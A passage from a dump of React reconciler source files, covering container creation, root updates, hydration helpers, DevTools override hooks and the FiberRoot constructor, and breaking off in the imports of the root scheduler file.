findCurrentUnmaskedContext(fiber);\n\n  if (fiber.tag === ClassComponent) {\n    const Component = fiber.type;\n    if (isLegacyContextProvider(Component)) {\n      return processChildContext(fiber, Component, parentContext);\n    }\n  }\n\n  return parentContext;\n}\n\nfunction findHostInstance(component: Object): PublicInstance | null {\n  const fiber = getInstance(component);\n  if (fiber === undefined) {\n    if (typeof component.render === 'function') {\n      throw new Error('Unable to find node on an unmounted component.');\n    } else {\n      const keys = Object.keys(component).join(',');\n      throw new Error(\n        `Argument appears to not be a ReactComponent. Keys: ${keys}`,\n      );\n    }\n  }\n  const hostFiber = findCurrentHostFiber(fiber);\n  if (hostFiber === null) {\n    return null;\n  }\n  return getPublicInstance(hostFiber.stateNode);\n}\n\nfunction findHostInstanceWithWarning(\n  component: Object,\n  methodName: string,\n): PublicInstance | null {\n  if (__DEV__) {\n    const fiber = getInstance(component);\n    if (fiber === undefined) {\n      if (typeof component.render === 'function') {\n        throw new Error('Unable to find node on an unmounted component.');\n      } else {\n        const keys = Object.keys(component).join(',');\n        throw new Error(\n          `Argument appears to not be a ReactComponent. Keys: ${keys}`,\n        );\n      }\n    }\n    const hostFiber = findCurrentHostFiber(fiber);\n    if (hostFiber === null) {\n      return null;\n    }\n    if (hostFiber.mode & StrictLegacyMode) {\n      const componentName = getComponentNameFromFiber(fiber) || 'Component';\n      if (!didWarnAboutFindNodeInStrictMode[componentName]) {\n        didWarnAboutFindNodeInStrictMode[componentName] = true;\n        runWithFiberInDEV(hostFiber, () => {\n          if (fiber.mode & StrictLegacyMode) {\n            console.error(\n              '%s is deprecated in StrictMode. ' +\n                '%s was passed an instance of %s which is inside StrictMode. ' +\n                'Instead, add a ref directly to the element you want to reference. ' +\n                'Learn more about using refs safely here: ' +\n                'https://react.dev/link/strict-mode-find-node',\n              methodName,\n              methodName,\n              componentName,\n            );\n          } else {\n            console.error(\n              '%s is deprecated in StrictMode. ' +\n                '%s was passed an instance of %s which renders StrictMode children. ' +\n                'Instead, add a ref directly to the element you want to reference. ' +\n                'Learn more about using refs safely here: ' +\n                'https://react.dev/link/strict-mode-find-node',\n              methodName,\n              methodName,\n              componentName,\n            );\n          }\n        });\n      }\n    }\n    return getPublicInstance(hostFiber.stateNode);\n  }\n  return findHostInstance(component);\n}\n\nexport function createContainer(\n  containerInfo: Container,\n  tag: RootTag,\n  hydrationCallbacks: null | SuspenseHydrationCallbacks,\n  isStrictMode: boolean,\n  // TODO: Remove `concurrentUpdatesByDefaultOverride`. It is now ignored.\n  concurrentUpdatesByDefaultOverride: null | boolean,\n  identifierPrefix: string,\n  onUncaughtError: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onCaughtError: (\n    error: mixed,\n    errorInfo: {\n      +componentStack?: ?string,\n      +errorBoundary?: ?component(...props: any),\n    },\n  ) => void,\n  onRecoverableError: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onDefaultTransitionIndicator: () => void | (() => void),\n  transitionCallbacks: null | TransitionTracingCallbacks,\n): OpaqueRoot {\n  const hydrate = false;\n  const initialChildren = null;\n  const root = createFiberRoot(\n    containerInfo,\n    tag,\n    hydrate,\n    initialChildren,\n    hydrationCallbacks,\n    isStrictMode,\n    identifierPrefix,\n    null,\n    onUncaughtError,\n    onCaughtError,\n    onRecoverableError,\n    onDefaultTransitionIndicator,\n    transitionCallbacks,\n  );\n  registerDefaultIndicator(onDefaultTransitionIndicator);\n  return root;\n}\n\nexport function createHydrationContainer(\n  initialChildren: ReactNodeList,\n  // TODO: Remove `callback` when we delete legacy mode.\n  callback: ?Function,\n  containerInfo: Container,\n  tag: RootTag,\n  hydrationCallbacks: null | SuspenseHydrationCallbacks,\n  isStrictMode: boolean,\n  // TODO: Remove `concurrentUpdatesByDefaultOverride`. It is now ignored.\n  concurrentUpdatesByDefaultOverride: null | boolean,\n  identifierPrefix: string,\n  onUncaughtError: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onCaughtError: (\n    error: mixed,\n    errorInfo: {\n      +componentStack?: ?string,\n      +errorBoundary?: ?component(...props: any),\n    },\n  ) => void,\n  onRecoverableError: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onDefaultTransitionIndicator: () => void | (() => void),\n  transitionCallbacks: null | TransitionTracingCallbacks,\n  formState: ReactFormState<any, any> | null,\n): OpaqueRoot {\n  const hydrate = true;\n  const root = createFiberRoot(\n    containerInfo,\n    tag,\n    hydrate,\n    initialChildren,\n    hydrationCallbacks,\n    isStrictMode,\n    identifierPrefix,\n    formState,\n    onUncaughtError,\n    onCaughtError,\n    onRecoverableError,\n    onDefaultTransitionIndicator,\n    transitionCallbacks,\n  );\n\n  registerDefaultIndicator(onDefaultTransitionIndicator);\n\n  // TODO: Move this to FiberRoot constructor\n  root.context = getContextForSubtree(null);\n\n  // Schedule the initial render. In a hydration root, this is different from\n  // a regular update because the initial render must match was was rendered\n  // on the server.\n  // NOTE: This update intentionally doesn't have a payload. We're only using\n  // the update to schedule work on the root fiber (and, for legacy roots, to\n  // enqueue the callback if one is provided).\n  const current = root.current;\n  let lane = requestUpdateLane(current);\n  lane = getBumpedLaneForHydrationByLane(lane);\n  const update = createUpdate(lane);\n  update.callback =\n    callback !== undefined && callback !== null ? callback : null;\n  enqueueUpdate(current, update, lane);\n  startUpdateTimerByLane(lane, 'hydrateRoot()', null);\n  scheduleInitialHydrationOnRoot(root, lane);\n\n  return root;\n}\n\nexport function updateContainer(\n  element: ReactNodeList,\n  container: OpaqueRoot,\n  parentComponent: ?component(...props: any),\n  callback: ?Function,\n): Lane {\n  const current = container.current;\n  const lane = requestUpdateLane(current);\n  updateContainerImpl(\n    current,\n    lane,\n    element,\n    container,\n    parentComponent,\n    callback,\n  );\n  return lane;\n}\n\nexport function updateContainerSync(\n  element: ReactNodeList,\n  container: OpaqueRoot,\n  parentComponent: ?component(...props: any),\n  callback: ?Function,\n): Lane {\n  if (!disableLegacyMode && container.tag === LegacyRoot) {\n    flushPendingEffects();\n  }\n  const current = container.current;\n  updateContainerImpl(\n    current,\n    SyncLane,\n    element,\n    container,\n    parentComponent,\n    callback,\n  );\n  return SyncLane;\n}\n\nfunction updateContainerImpl(\n  rootFiber: Fiber,\n  lane: Lane,\n  element: ReactNodeList,\n  container: OpaqueRoot,\n  parentComponent: ?component(...props: any),\n  callback: ?Function,\n): void {\n  if (__DEV__) {\n    onScheduleRoot(container, element);\n  }\n\n  if (enableSchedulingProfiler) {\n    markRenderScheduled(lane);\n  }\n\n  const context = getContextForSubtree(parentComponent);\n  if (container.context === null) {\n    container.context = context;\n  } else {\n    container.pendingContext = context;\n  }\n\n  if (__DEV__) {\n    if (\n      ReactCurrentFiberIsRendering &&\n      ReactCurrentFiberCurrent !== null &&\n      !didWarnAboutNestedUpdates\n    ) {\n      didWarnAboutNestedUpdates = true;\n      console.error(\n        'Render methods should be a pure function of props and state; ' +\n          'triggering nested component updates from render is not allowed. ' +\n          'If necessary, trigger nested updates in componentDidUpdate.\\n\\n' +\n          'Check the render method of %s.',\n        getComponentNameFromFiber(ReactCurrentFiberCurrent) || 'Unknown',\n      );\n    }\n  }\n\n  const update = createUpdate(lane);\n  // Caution: React DevTools currently depends on this property\n  // being called \"element\".\n  update.payload = {element};\n\n  callback = callback === undefined ? null : callback;\n  if (callback !== null) {\n    if (__DEV__) {\n      if (typeof callback !== 'function') {\n        console.error(\n          'Expected the last optional `callback` argument to be a ' +\n            'function. Instead received: %s.',\n          callback,\n        );\n      }\n    }\n    update.callback = callback;\n  }\n\n  const root = enqueueUpdate(rootFiber, update, lane);\n  if (root !== null) {\n    startUpdateTimerByLane(lane, 'root.render()', null);\n    scheduleUpdateOnFiber(root, rootFiber, lane);\n    entangleTransitions(root, rootFiber, lane);\n  }\n}\n\nexport {\n  batchedUpdates,\n  deferredUpdates,\n  discreteUpdates,\n  flushSyncFromReconciler,\n  flushSyncWork,\n  isAlreadyRendering,\n  flushPendingEffects as flushPassiveEffects,\n};\n\nexport function getPublicRootInstance(\n  container: OpaqueRoot,\n): component(...props: any) | PublicInstance | null {\n  const containerFiber = container.current;\n  if (!containerFiber.child) {\n    return null;\n  }\n  switch (containerFiber.child.tag) {\n    case HostSingleton:\n    case HostComponent:\n      return getPublicInstance(containerFiber.child.stateNode);\n    default:\n      return containerFiber.child.stateNode;\n  }\n}\n\nexport function attemptSynchronousHydration(fiber: Fiber): void {\n  switch (fiber.tag) {\n    case HostRoot: {\n      const root: FiberRoot = fiber.stateNode;\n      if (isRootDehydrated(root)) {\n        // Flush the first scheduled \"update\".\n        const lanes = getHighestPriorityPendingLanes(root);\n        flushRoot(root, lanes);\n      }\n      break;\n    }\n    case ActivityComponent:\n    case SuspenseComponent: {\n      const root = enqueueConcurrentRenderForLane(fiber, SyncLane);\n      if (root !== null) {\n        scheduleUpdateOnFiber(root, fiber, SyncLane);\n      }\n      flushSyncWork();\n      // If we're still blocked after this, we need to increase\n      // the priority of any promises resolving within this\n      // boundary so that they next attempt also has higher pri.\n      const retryLane = SyncLane;\n      markRetryLaneIfNotHydrated(fiber, retryLane);\n      break;\n    }\n  }\n}\n\nfunction markRetryLaneImpl(fiber: Fiber, retryLane: Lane) {\n  const suspenseState: null | SuspenseState | ActivityState =\n    fiber.memoizedState;\n  if (suspenseState !== null && suspenseState.dehydrated !== null) {\n    suspenseState.retryLane = higherPriorityLane(\n      suspenseState.retryLane,\n      retryLane,\n    );\n  }\n}\n\n// Increases the priority of thenables when they resolve within this boundary.\nfunction markRetryLaneIfNotHydrated(fiber: Fiber, retryLane: Lane) {\n  markRetryLaneImpl(fiber, retryLane);\n  const alternate = fiber.alternate;\n  if (alternate) {\n    markRetryLaneImpl(alternate, retryLane);\n  }\n}\n\nexport function attemptContinuousHydration(fiber: Fiber): void {\n  if (fiber.tag !== SuspenseComponent && fiber.tag !== ActivityComponent) {\n    // We ignore HostRoots here because we can't increase\n    // their priority and they should not suspend on I/O,\n    // since you have to wrap anything that might suspend in\n    // Suspense.\n    return;\n  }\n  const lane = SelectiveHydrationLane;\n  const root = enqueueConcurrentRenderForLane(fiber, lane);\n  if (root !== null) {\n    scheduleUpdateOnFiber(root, fiber, lane);\n  }\n  markRetryLaneIfNotHydrated(fiber, lane);\n}\n\nexport function attemptHydrationAtCurrentPriority(fiber: Fiber): void {\n  if (fiber.tag !== SuspenseComponent && fiber.tag !== ActivityComponent) {\n    // We ignore HostRoots here because we can't increase\n    // their priority other than synchronously flush it.\n    return;\n  }\n  let lane = requestUpdateLane(fiber);\n  lane = getBumpedLaneForHydrationByLane(lane);\n  const root = enqueueConcurrentRenderForLane(fiber, lane);\n  if (root !== null) {\n    scheduleUpdateOnFiber(root, fiber, lane);\n  }\n  markRetryLaneIfNotHydrated(fiber, lane);\n}\n\nexport {findHostInstance};\n\nexport {findHostInstanceWithWarning};\n\nexport function findHostInstanceWithNoPortals(\n  fiber: Fiber,\n): PublicInstance | null {\n  const hostFiber = findCurrentHostFiberWithNoPortals(fiber);\n  if (hostFiber === null) {\n    return null;\n  }\n  return getPublicInstance(hostFiber.stateNode);\n}\n\nlet shouldErrorImpl: Fiber => ?boolean = fiber => null;\n\nexport function shouldError(fiber: Fiber): ?boolean {\n  return shouldErrorImpl(fiber);\n}\n\nlet shouldSuspendImpl = (fiber: Fiber) => false;\n\nexport function shouldSuspend(fiber: Fiber): boolean {\n  return shouldSuspendImpl(fiber);\n}\n\nlet overrideHookState = null;\nlet overrideHookStateDeletePath = null;\nlet overrideHookStateRenamePath = null;\nlet overrideProps = null;\nlet overridePropsDeletePath = null;\nlet overridePropsRenamePath = null;\nlet scheduleUpdate = null;\nlet scheduleRetry = null;\nlet setErrorHandler = null;\nlet setSuspenseHandler = null;\n\nif (__DEV__) {\n  const copyWithDeleteImpl = (\n    obj: Object | Array<any>,\n    path: Array<string | number>,\n    index: number,\n  ): $FlowFixMe => {\n    const key = path[index];\n    const updated = isArray(obj) ? obj.slice() : {...obj};\n    if (index + 1 === path.length) {\n      if (isArray(updated)) {\n        updated.splice(((key: any): number), 1);\n      } else {\n        delete updated[key];\n      }\n      return updated;\n    }\n    // $FlowFixMe[incompatible-use] number or string is fine here\n    updated[key] = copyWithDeleteImpl(obj[key], path, index + 1);\n    return updated;\n  };\n\n  const copyWithDelete = (\n    obj: Object | Array<any>,\n    path: Array<string | number>,\n  ): Object | Array<any> => {\n    return copyWithDeleteImpl(obj, path, 0);\n  };\n\n  const copyWithRenameImpl = (\n    obj: Object | Array<any>,\n    oldPath: Array<string | number>,\n    newPath: Array<string | number>,\n    index: number,\n  ): $FlowFixMe => {\n    const oldKey = oldPath[index];\n    const updated = isArray(obj) ? obj.slice() : {...obj};\n    if (index + 1 === oldPath.length) {\n      const newKey = newPath[index];\n      // $FlowFixMe[incompatible-use] number or string is fine here\n      updated[newKey] = updated[oldKey];\n      if (isArray(updated)) {\n        updated.splice(((oldKey: any): number), 1);\n      } else {\n        delete updated[oldKey];\n      }\n    } else {\n      // $FlowFixMe[incompatible-use] number or string is fine here\n      updated[oldKey] = copyWithRenameImpl(\n        // $FlowFixMe[incompatible-use] number or string is fine here\n        obj[oldKey],\n        oldPath,\n        newPath,\n        index + 1,\n      );\n    }\n    return updated;\n  };\n\n  const copyWithRename = (\n    obj: Object | Array<any>,\n    oldPath: Array<string | number>,\n    newPath: Array<string | number>,\n  ): Object | Array<any> => {\n    if (oldPath.length !== newPath.length) {\n      console.warn('copyWithRename() expects paths of the same length');\n      return;\n    } else {\n      for (let i = 0; i < newPath.length - 1; i++) {\n        if (oldPath[i] !== newPath[i]) {\n          console.warn(\n            'copyWithRename() expects paths to be the same except for the deepest key',\n          );\n          return;\n        }\n      }\n    }\n    return copyWithRenameImpl(obj, oldPath, newPath, 0);\n  };\n\n  const copyWithSetImpl = (\n    obj: Object | Array<any>,\n    path: Array<string | number>,\n    index: number,\n    value: any,\n  ): $FlowFixMe => {\n    if (index >= path.length) {\n      return value;\n    }\n    const key = path[index];\n    const updated = isArray(obj) ? obj.slice() : {...obj};\n    // $FlowFixMe[incompatible-use] number or string is fine here\n    updated[key] = copyWithSetImpl(obj[key], path, index + 1, value);\n    return updated;\n  };\n\n  const copyWithSet = (\n    obj: Object | Array<any>,\n    path: Array<string | number>,\n    value: any,\n  ): Object | Array<any> => {\n    return copyWithSetImpl(obj, path, 0, value);\n  };\n\n  const findHook = (fiber: Fiber, id: number) => {\n    // For now, the \"id\" of stateful hooks is just the stateful hook index.\n    // This may change in the future with e.g. nested hooks.\n    let currentHook = fiber.memoizedState;\n    while (currentHook !== null && id > 0) {\n      currentHook = currentHook.next;\n      id--;\n    }\n    return currentHook;\n  };\n\n  // Support DevTools editable values for useState and useReducer.\n  overrideHookState = (\n    fiber: Fiber,\n    id: number,\n    path: Array<string | number>,\n    value: any,\n  ) => {\n    const hook = findHook(fiber, id);\n    if (hook !== null) {\n      const newState = copyWithSet(hook.memoizedState, path, value);\n      hook.memoizedState = newState;\n      hook.baseState = newState;\n\n      // We aren't actually adding an update to the queue,\n      // because there is no update we can add for useReducer hooks that won't trigger an error.\n      // (There's no appropriate action type for DevTools overrides.)\n      // As a result though, React will see the scheduled update as a noop and bailout.\n      // Shallow cloning props works as a workaround for now to bypass the bailout check.\n      fiber.memoizedProps = {...fiber.memoizedProps};\n\n      const root = enqueueConcurrentRenderForLane(fiber, SyncLane);\n      if (root !== null) {\n        scheduleUpdateOnFiber(root, fiber, SyncLane);\n      }\n    }\n  };\n  overrideHookStateDeletePath = (\n    fiber: Fiber,\n    id: number,\n    path: Array<string | number>,\n  ) => {\n    const hook = findHook(fiber, id);\n    if (hook !== null) {\n      const newState = copyWithDelete(hook.memoizedState, path);\n      hook.memoizedState = newState;\n      hook.baseState = newState;\n\n      // We aren't actually adding an update to the queue,\n      // because there is no update we can add for useReducer hooks that won't trigger an error.\n      // (There's no appropriate action type for DevTools overrides.)\n      // As a result though, React will see the scheduled update as a noop and bailout.\n      // Shallow cloning props works as a workaround for now to bypass the bailout check.\n      fiber.memoizedProps = {...fiber.memoizedProps};\n\n      const root = enqueueConcurrentRenderForLane(fiber, SyncLane);\n      if (root !== null) {\n        scheduleUpdateOnFiber(root, fiber, SyncLane);\n      }\n    }\n  };\n  overrideHookStateRenamePath = (\n    fiber: Fiber,\n    id: number,\n    oldPath: Array<string | number>,\n    newPath: Array<string | number>,\n  ) => {\n    const hook = findHook(fiber, id);\n    if (hook !== null) {\n      const newState = copyWithRename(hook.memoizedState, oldPath, newPath);\n      hook.memoizedState = newState;\n      hook.baseState = newState;\n\n      // We aren't actually adding an update to the queue,\n      // because there is no update we can add for useReducer hooks that won't trigger an error.\n      // (There's no appropriate action type for DevTools overrides.)\n      // As a result though, React will see the scheduled update as a noop and bailout.\n      // Shallow cloning props works as a workaround for now to bypass the bailout check.\n      fiber.memoizedProps = {...fiber.memoizedProps};\n\n      const root = enqueueConcurrentRenderForLane(fiber, SyncLane);\n      if (root !== null) {\n        scheduleUpdateOnFiber(root, fiber, SyncLane);\n      }\n    }\n  };\n\n  // Support DevTools props for function components, forwardRef, memo, host components, etc.\n  overrideProps = (fiber: Fiber, path: Array<string | number>, value: any) => {\n    fiber.pendingProps = copyWithSet(fiber.memoizedProps, path, value);\n    if (fiber.alternate) {\n      fiber.alternate.pendingProps = fiber.pendingProps;\n    }\n    const root = enqueueConcurrentRenderForLane(fiber, SyncLane);\n    if (root !== null) {\n      scheduleUpdateOnFiber(root, fiber, SyncLane);\n    }\n  };\n  overridePropsDeletePath = (fiber: Fiber, path: Array<string | number>) => {\n    fiber.pendingProps = copyWithDelete(fiber.memoizedProps, path);\n    if (fiber.alternate) {\n      fiber.alternate.pendingProps = fiber.pendingProps;\n    }\n    const root = enqueueConcurrentRenderForLane(fiber, SyncLane);\n    if (root !== null) {\n      scheduleUpdateOnFiber(root, fiber, SyncLane);\n    }\n  };\n  overridePropsRenamePath = (\n    fiber: Fiber,\n    oldPath: Array<string | number>,\n    newPath: Array<string | number>,\n  ) => {\n    fiber.pendingProps = copyWithRename(fiber.memoizedProps, oldPath, newPath);\n    if (fiber.alternate) {\n      fiber.alternate.pendingProps = fiber.pendingProps;\n    }\n    const root = enqueueConcurrentRenderForLane(fiber, SyncLane);\n    if (root !== null) {\n      scheduleUpdateOnFiber(root, fiber, SyncLane);\n    }\n  };\n\n  scheduleUpdate = (fiber: Fiber) => {\n    const root = enqueueConcurrentRenderForLane(fiber, SyncLane);\n    if (root !== null) {\n      scheduleUpdateOnFiber(root, fiber, SyncLane);\n    }\n  };\n\n  scheduleRetry = (fiber: Fiber) => {\n    const lane = claimNextRetryLane();\n    const root = enqueueConcurrentRenderForLane(fiber, lane);\n    if (root !== null) {\n      scheduleUpdateOnFiber(root, fiber, lane);\n    }\n  };\n\n  setErrorHandler = (newShouldErrorImpl: Fiber => ?boolean) => {\n    shouldErrorImpl = newShouldErrorImpl;\n  };\n\n  setSuspenseHandler = (newShouldSuspendImpl: Fiber => boolean) => {\n    shouldSuspendImpl = newShouldSuspendImpl;\n  };\n}\n\nfunction getCurrentFiberForDevTools() {\n  return ReactCurrentFiberCurrent;\n}\n\nfunction getLaneLabelMap(): Map<Lane, string> | null {\n  if (enableSchedulingProfiler) {\n    const map: Map<Lane, string> = new Map();\n\n    let lane = 1;\n    for (let index = 0; index < TotalLanes; index++) {\n      const label = ((getLabelForLane(lane): any): string);\n      map.set(lane, label);\n      lane *= 2;\n    }\n\n    return map;\n  } else {\n    return null;\n  }\n}\n\nexport function injectIntoDevTools(): boolean {\n  const internals: Object = {\n    bundleType: __DEV__ ? 1 : 0, // Might add PROFILE later.\n    version: rendererVersion,\n    rendererPackageName: rendererPackageName,\n    currentDispatcherRef: ReactSharedInternals,\n    // Enables DevTools to detect reconciler version rather than renderer version\n    // which may not match for third party renderers.\n    reconcilerVersion: ReactVersion,\n  };\n  if (extraDevToolsConfig !== null) {\n    internals.rendererConfig = (extraDevToolsConfig: RendererInspectionConfig);\n  }\n  if (__DEV__) {\n    internals.overrideHookState = overrideHookState;\n    internals.overrideHookStateDeletePath = overrideHookStateDeletePath;\n    internals.overrideHookStateRenamePath = overrideHookStateRenamePath;\n    internals.overrideProps = overrideProps;\n    internals.overridePropsDeletePath = overridePropsDeletePath;\n    internals.overridePropsRenamePath = overridePropsRenamePath;\n    internals.scheduleUpdate = scheduleUpdate;\n    internals.scheduleRetry = scheduleRetry;\n    internals.setErrorHandler = setErrorHandler;\n    internals.setSuspenseHandler = setSuspenseHandler;\n    // React Refresh\n    internals.scheduleRefresh = scheduleRefresh;\n    internals.scheduleRoot = scheduleRoot;\n    internals.setRefreshHandler = setRefreshHandler;\n    // Enables DevTools to append owner stacks to error messages in DEV mode.\n    internals.getCurrentFiber = getCurrentFiberForDevTools;\n  }\n  if (enableSchedulingProfiler) {\n    // Conditionally inject these hooks only if Timeline profiler is supported by this build.\n    // This gives DevTools a way to feature detect that isn't tied to version number\n    // (since profiling and timeline are controlled by different feature flags).\n    internals.getLaneLabelMap = getLaneLabelMap;\n    internals.injectProfilingHooks = injectProfilingHooks;\n  }\n  return injectInternals(internals);\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberRoot.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList, ReactFormState} from 'shared/ReactTypes';\nimport type {\n  FiberRoot,\n  SuspenseHydrationCallbacks,\n  TransitionTracingCallbacks,\n} from './ReactInternalTypes';\nimport type {RootTag} from './ReactRootTags';\nimport type {Cache} from './ReactFiberCacheComponent';\nimport type {Container} from './ReactFiberConfig';\n\nimport {noTimeout} from './ReactFiberConfig';\nimport {createHostRootFiber} from './ReactFiber';\nimport {\n  NoLane,\n  NoLanes,\n  NoTimestamp,\n  TotalLanes,\n  createLaneMap,\n} from './ReactFiberLane';\nimport {\n  enableSuspenseCallback,\n  enableProfilerCommitHooks,\n  enableProfilerTimer,\n  enableUpdaterTracking,\n  enableTransitionTracing,\n  disableLegacyMode,\n  enableViewTransition,\n  enableGestureTransition,\n  enableDefaultTransitionIndicator,\n} from 'shared/ReactFeatureFlags';\nimport {initializeUpdateQueue} from './ReactFiberClassUpdateQueue';\nimport {LegacyRoot, ConcurrentRoot} from './ReactRootTags';\nimport {createCache, retainCache} from './ReactFiberCacheComponent';\n\nexport type RootState = {\n  element: any,\n  isDehydrated: boolean,\n  cache: Cache,\n};\n\nfunction FiberRootNode(\n  this: $FlowFixMe,\n  containerInfo: any,\n  // $FlowFixMe[missing-local-annot]\n  tag,\n  hydrate: any,\n  identifierPrefix: any,\n  onUncaughtError: any,\n  onCaughtError: any,\n  onRecoverableError: any,\n  onDefaultTransitionIndicator: any,\n  formState: ReactFormState<any, any> | null,\n) {\n  this.tag = disableLegacyMode ? ConcurrentRoot : tag;\n  this.containerInfo = containerInfo;\n  this.pendingChildren = null;\n  this.current = null;\n  this.pingCache = null;\n  this.timeoutHandle = noTimeout;\n  this.cancelPendingCommit = null;\n  this.context = null;\n  this.pendingContext = null;\n  this.next = null;\n  this.callbackNode = null;\n  this.callbackPriority = NoLane;\n  this.expirationTimes = createLaneMap(NoTimestamp);\n\n  this.pendingLanes = NoLanes;\n  this.suspendedLanes = NoLanes;\n  this.pingedLanes = NoLanes;\n  this.warmLanes = NoLanes;\n  this.expiredLanes = NoLanes;\n  if (enableDefaultTransitionIndicator) {\n    this.indicatorLanes = NoLanes;\n  }\n  this.errorRecoveryDisabledLanes = NoLanes;\n  this.shellSuspendCounter = 0;\n\n  this.entangledLanes = NoLanes;\n  this.entanglements = createLaneMap(NoLanes);\n\n  this.hiddenUpdates = createLaneMap(null);\n\n  this.identifierPrefix = identifierPrefix;\n  this.onUncaughtError = onUncaughtError;\n  this.onCaughtError = onCaughtError;\n  this.onRecoverableError = onRecoverableError;\n\n  if (enableDefaultTransitionIndicator) {\n    this.onDefaultTransitionIndicator = onDefaultTransitionIndicator;\n    this.pendingIndicator = null;\n  }\n\n  this.pooledCache = null;\n  this.pooledCacheLanes = NoLanes;\n\n  if (enableSuspenseCallback) {\n    this.hydrationCallbacks = null;\n  }\n\n  this.formState = formState;\n\n  if (enableViewTransition) {\n    this.transitionTypes = null;\n  }\n\n  if (enableGestureTransition) {\n    this.pendingGestures = null;\n    this.gestureClone = null;\n  }\n\n  this.incompleteTransitions = new Map();\n  if (enableTransitionTracing) {\n    this.transitionCallbacks = null;\n    this.transitionLanes = createLaneMap(null);\n  }\n\n  if (enableProfilerTimer && enableProfilerCommitHooks) {\n    this.effectDuration = -0;\n    this.passiveEffectDuration = -0;\n  }\n\n  if (enableUpdaterTracking) {\n    this.memoizedUpdaters = new Set();\n    const pendingUpdatersLaneMap = (this.pendingUpdatersLaneMap = []);\n    for (let i = 0; i < TotalLanes; i++) {\n      pendingUpdatersLaneMap.push(new Set());\n    }\n  }\n\n  if (__DEV__) {\n    if (disableLegacyMode) {\n      // TODO: This varies by each renderer.\n      this._debugRootType = hydrate ? 'hydrateRoot()' : 'createRoot()';\n    } else {\n      switch (tag) {\n        case ConcurrentRoot:\n          this._debugRootType = hydrate ? 'hydrateRoot()' : 'createRoot()';\n          break;\n        case LegacyRoot:\n          this._debugRootType = hydrate ? 'hydrate()' : 'render()';\n          break;\n      }\n    }\n  }\n}\n\nexport function createFiberRoot(\n  containerInfo: Container,\n  tag: RootTag,\n  hydrate: boolean,\n  initialChildren: ReactNodeList,\n  hydrationCallbacks: null | SuspenseHydrationCallbacks,\n  isStrictMode: boolean,\n  // TODO: We have several of these arguments that are conceptually part of the\n  // host config, but because they are passed in at runtime, we have to thread\n  // them through the root constructor. Perhaps we should put them all into a\n  // single type, like a DynamicHostConfig that is defined by the renderer.\n  identifierPrefix: string,\n  formState: ReactFormState<any, any> | null,\n  onUncaughtError: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onCaughtError: (\n    error: mixed,\n    errorInfo: {\n      +componentStack?: ?string,\n      +errorBoundary?: ?component(...props: any),\n    },\n  ) => void,\n  onRecoverableError: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onDefaultTransitionIndicator: () => void | (() => void),\n  transitionCallbacks: null | TransitionTracingCallbacks,\n): FiberRoot {\n  // $FlowFixMe[invalid-constructor] Flow no longer supports calling new on functions\n  const root: FiberRoot = (new FiberRootNode(\n    containerInfo,\n    tag,\n    hydrate,\n    identifierPrefix,\n    onUncaughtError,\n    onCaughtError,\n    onRecoverableError,\n    onDefaultTransitionIndicator,\n    formState,\n  ): any);\n  if (enableSuspenseCallback) {\n    root.hydrationCallbacks = hydrationCallbacks;\n  }\n\n  if (enableTransitionTracing) {\n    root.transitionCallbacks = transitionCallbacks;\n  }\n\n  // Cyclic construction. This cheats the type system right now because\n  // stateNode is any.\n  const uninitializedFiber = createHostRootFiber(tag, isStrictMode);\n  root.current = uninitializedFiber;\n  uninitializedFiber.stateNode = root;\n\n  const initialCache = createCache();\n  retainCache(initialCache);\n\n  // The pooledCache is a fresh cache instance that is used temporarily\n  // for newly mounted boundaries during a render. In general, the\n  // pooledCache is always cleared from the root at the end of a render:\n  // it is either released when render commits, or moved to an Offscreen\n  // component if rendering suspends. Because the lifetime of the pooled\n  // cache is distinct from the main memoizedState.cache, it must be\n  // retained separately.\n  root.pooledCache = initialCache;\n  retainCache(initialCache);\n  const initialState: RootState = {\n    element: initialChildren,\n    isDehydrated: hydrate,\n    cache: initialCache,\n  };\n  uninitializedFiber.memoizedState = initialState;\n\n  initializeUpdateQueue(uninitializedFiber);\n\n  return root;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberRootScheduler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {FiberRoot} from './ReactInternalTypes';\nimport type {Lane, Lanes} from './ReactFiberLane';\nimport type {PriorityLevel} from 'scheduler/src/SchedulerPriorities';\nimport type {Transition} from 'react/src/ReactStartTransition';\n\nimport {\n  disableLegacyMode,\n  disableSchedulerTimeoutInWorkLoop,\n  enableProfilerTimer,\n  enableProfilerNestedUpdatePhase,\n  enableComponentPerformanceTrack,\n  enableYieldingBeforePassive,\n  enableGestureTransition,\n  enableDefaultTransitionIndicator,\n} from 'shared/ReactFeatureFlags';\nimport {\n  NoLane,\n  NoLanes,\n  SyncLane,\n  DefaultLane,\n  getHighestPriorityLane,\n  getNextLanes,\n  includesSyncLane,\n  markStarvedLanesAsExpired,\n  claimNextTransitionUpdateLane,\n  getNextLanesToFlushSync,\n  checkIfRootIsPrerendering,\n  isGestureRender,\n} from './ReactFiberLane';\nimport {\n  CommitContext,\n  NoContext,\n  RenderContext,\n  flushPendingEffects,\n  flushPendingEffectsDelayed,\n  getExecutionContext,\n  getWorkInProgressRoot,\n  getWorkInProgressRootRenderLanes,\n  getRootWithPendingPassiveEffects,\n  getPendingPassiveEffectsLanes,\n  hasPendingCommitEffects,\n  isWorkLoopSuspendedOnData,\n  performWorkOnRoot,\n} from './ReactFiberWorkLoop';\nimport {LegacyRoot} from './ReactRootTags';\nimport {\n  ImmediatePriority as ImmediateSchedulerPriority,\n  UserBlockingPriority as UserBlockingSchedulerPriority,\n  NormalPriority as NormalSchedulerPriority,\n  IdlePriority as IdleSchedulerPriority,\n  cancelCallback as Scheduler_cancelCallback,\n  scheduleCallback as Scheduler_scheduleCallback,\n  now,\n} from './Scheduler';\nimport {\n  DiscreteEventPriority,\n  